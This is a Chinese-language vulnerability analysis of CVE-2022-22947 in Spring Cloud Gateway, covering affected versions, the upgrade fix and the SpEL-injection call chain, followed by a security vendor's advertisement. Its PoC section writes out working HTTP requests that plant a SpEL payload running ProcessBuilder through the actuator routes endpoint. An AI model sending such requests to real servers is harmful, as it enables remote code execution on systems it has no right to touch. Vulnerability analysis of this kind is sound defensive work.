CVE-2022-22947 SpringCloud GateWay SPEL RCE 漏洞分析

語言: CN / TW / HK

漏洞概要

Spring Cloud Gateway 是Spring Cloud 生態中的API網關,包含限流、過濾等API治理功能。 Spring官方在2022年3月1日發佈新版本修復了Spring Cloud Gateway中的一處代碼注入漏洞。當actuator端點開啟或暴露時,可以通過http請求修改路由,路由中包含的惡意filter參數會經過SPEL表達式解析,從而導致遠程主機執行任意代碼。

  • 影響範圍: org.springframework.cloud:spring-cloud-gateway-server@[3.1.0, 3.1.1) org.springframework.cloud:spring-cloud-gateway-server@[2.2.6.RELEASE, 3.0.7)
  • 修復方案: 將組件 org.springframework.cloud:spring-cloud-gateway-server 升級至 3.1.1 及以上版本 將組件 org.springframework.cloud:spring-cloud-gateway-server 升級至 3.0.7 及以上版本
  • 漏洞鏈接:http://www.oscs1024.com/hd/MPS-2022-1077

以下內容來自公眾號《安全日記》 Erikten 對該漏洞的分析:

0x00 環境搭建

CVE-2022-22947 SpringCloud GateWay SPEL RCE 漏洞分析,直接去 GitHub 上下載即可。

git clone http://github.com/spring-cloud/spring-cloud-gateway
cd spring-cloud-gateway
git checkout v3.1.0

0x01 漏洞分析

首先這個漏洞的本質就是一個Spel表達式注入。漏洞的觸發點位於org/springframework/cloud/gateway/support/ShortcutConfigurable.java#getValue,看diff點可以發現在安全版本中官方將StandardEvaluationContext更換為了GatewayEvaluationContext去執行Spel表達式

[圖片]

我們回溯一下getValue這個方法,發現在org/springframework/cloud/gateway/support/ShortcutConfigurable.java#ShortcutType這個枚舉中的DEFAULT被調用

[圖片]

那麼就去跟一下哪裏調了ShortcutType.DEFAULT,發現在org/springframework/cloud/gateway/support/ShortcutConfigurable.java#shortcutType調用了它

[圖片]

最終在org/springframework/cloud/gateway/support/ConfigurationService.java#normalizeProperties對filter屬性進行解析,最後進入getValue執行SPEL表達式造成SPEL表達式注入。

[圖片]

繼續向上,來到org.springframework.cloud.gateway.route.RouteDefinitionRouteLocator#loadGatewayFilters,根據這個方法的名字大概也能猜出它的做作用,就是添加路由filters

[圖片]

繼續重複之前的操作(向上回溯),會找到這麼一條調用鏈

RouteDefinitionRouteLocator#loadGatewayFilters ->
RouteDefinitionRouteLocator#getFilters -> 
RouteDefinitionRouteLocator#convertToRoute -> 
RouteDefinitionRouteLocator#getRoutes -> 
GatewayControllerEndpoint#routes

[圖片]

整體流程大致瞭解了,就是添加路由filter然後訪問,通過getValue觸發Spel注入最終完成RCE,那麼怎麼添加路由呢?我們去看下手冊http://cloud.spring.io/spring-cloud-gateway/multi/multi__actuator_api.html

[圖片]

來到org.springframework.cloud.gateway.actuate.AbstractGatewayControllerEndpoint#save,可以看到POST的請求體對應的內容

[圖片]

Filters內容

[圖片]

0x02 構造PoC

首先創建路由filter

POST /actuator/gateway/routes/test HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 212

{
  "id": "test",
  "filters": [{
    "name": "AddResponseHeader",
    "args": {
      "name": "any",
      "value": "#{new ProcessBuilder(\"calc\").start()}"
    }
  }],
   "uri": "http://test.com"
}

發包可以發現payload已經注入進filter了

[圖片]

接下來刷新一下

POST /actuator/gateway/refresh HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 2

首先在org.springframework.cloud.gateway.support.ConfigurationService.ConfigurableBuilder#normalizeProperties遍歷filters屬性

[圖片]

接着通過org.springframework.cloud.gateway.support.ShortcutConfigurable.ShortcutType#normalize調getValue解析屬性

[圖片]

造成Spel注入 [圖片]

最終解鎖計算器

[圖片]

0x03 參考鏈接

http://www.cnblogs.com/bitterz/p/15964852.html

免費情報訂閲 & 代碼安全檢測

墨菲安全是一家為您提供專業的軟件供應鏈安全管理的科技公司,核心團隊來自百度、華為、烏雲等企業,公司為客户提供完整的軟件供應鏈安全管理平台,圍繞SBOM提供軟件全生命週期的安全管理,平台能力包括軟件成分分析、源安全管理、容器鏡像檢測、漏洞情報預警及商業軟件供應鏈准入評估等多個產品。為客户提供從供應鏈資產識別管理、風險檢測、安全控制、一鍵修復的完整控制能力。同時產品可以極低成本的和現有開發流程中的各種工具一鍵打通,包括 IDE、Gitlab、Bitbucket、Jenkins、Harbor、Nexus 等數十種工具無縫集成。

代碼安全檢測: http://www.murphysec.com/?sf=1vi9zs 情報訂閲: http://www.oscs1024.com/cm/?sf=1vi9zs 漏洞庫:http://www.oscs1024.com/hl/?sf=1vi9zs

[圖片]